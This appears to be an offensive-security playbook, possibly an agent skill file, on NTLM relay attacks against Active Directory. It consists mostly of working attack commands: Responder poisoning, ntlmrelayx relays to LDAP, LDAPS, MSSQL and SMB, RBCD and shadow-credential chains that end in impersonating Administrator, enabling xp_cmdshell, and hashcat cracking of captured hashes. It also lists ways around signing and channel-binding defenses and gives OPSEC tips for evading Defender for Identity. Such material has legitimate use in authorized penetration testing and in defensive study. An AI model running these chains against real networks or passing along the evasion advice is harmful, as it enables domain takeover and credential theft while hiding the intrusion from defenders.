purpleailab NTLM Relay Deep Dive
You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.
Target selection matrix
| Target protocol | Outcome | Requires |
|---|---|---|
| LDAP / LDAPS to a DC | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |
| SMB to a workstation | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |
| HTTP /certsrv/ (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |
| MSSQL | Database access; xp_cmdshell if linked |
Victim has DB privs |
| IMAP (Exchange) | Mailbox access | Victim has mailbox |
| HTTP /EWS (Exchange) | Mailbox + autodiscover | EWS reachable |
| LDAPS to DC for shadow creds | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |
SMB signing — the key constraint
| Target | Default SMB signing |
|---|---|
| DC | REQUIRED (signing on, must verify) — can't relay SMB to DC |
| Domain workstations | NOT REQUIRED (off by default) — can relay |
| File servers | usually REQUIRED |
| Linux Samba | varies |
Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.
Most useful chains
Coerce → relay to LDAP → RBCD attack
# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover
Coerce → relay to ADCS → DA cert
See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.
Responder → relay to LDAP for Shadow Credentials
sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy
Relay to MSSQL — pivot via xp_cmdshell
sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver
Multi-relay — fan-out one auth to many targets
# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)
When to crack instead of relay
If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):
# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules
Relay is BETTER when:
- You don't have time to crack (operationally bounded engagement)
- The hash is from a service account / computer account (uncrackable)
- The target requires the actual session (e.g., LDAPS, signed SMB)
Crack is BETTER when:
- You want offline persistence (don't need to be on the wire)
- The credentials are reusable across services
- Auth was from a normal user with a weak password
Signing-required mitigations and bypasses
| Defense | Bypass |
|---|---|
| SMB signing required on target | Relay to NON-SMB target (LDAP, HTTP, MSSQL) |
| LDAP channel binding | Relay to LDAPS instead (different binding rules) |
| Extended Protection for Authentication (EPA) | Relay to a service that doesn't enforce EPA (older Exchange, etc.) |
| MS16-075 ("hot potato" SMB→SMB block) | Cross-protocol relay works around it |
OPSEC
- Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
- LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.
- MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.
References
- impacket ntlmrelayx — github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
- dirkjanm "NTLM relay" series (the canonical reference)
- SpecterOps "Hosting a Relay Server" / "Forcing NTLM auth"
- BHIS / TrustedSec "NTLM Relaying for Fun and Profit"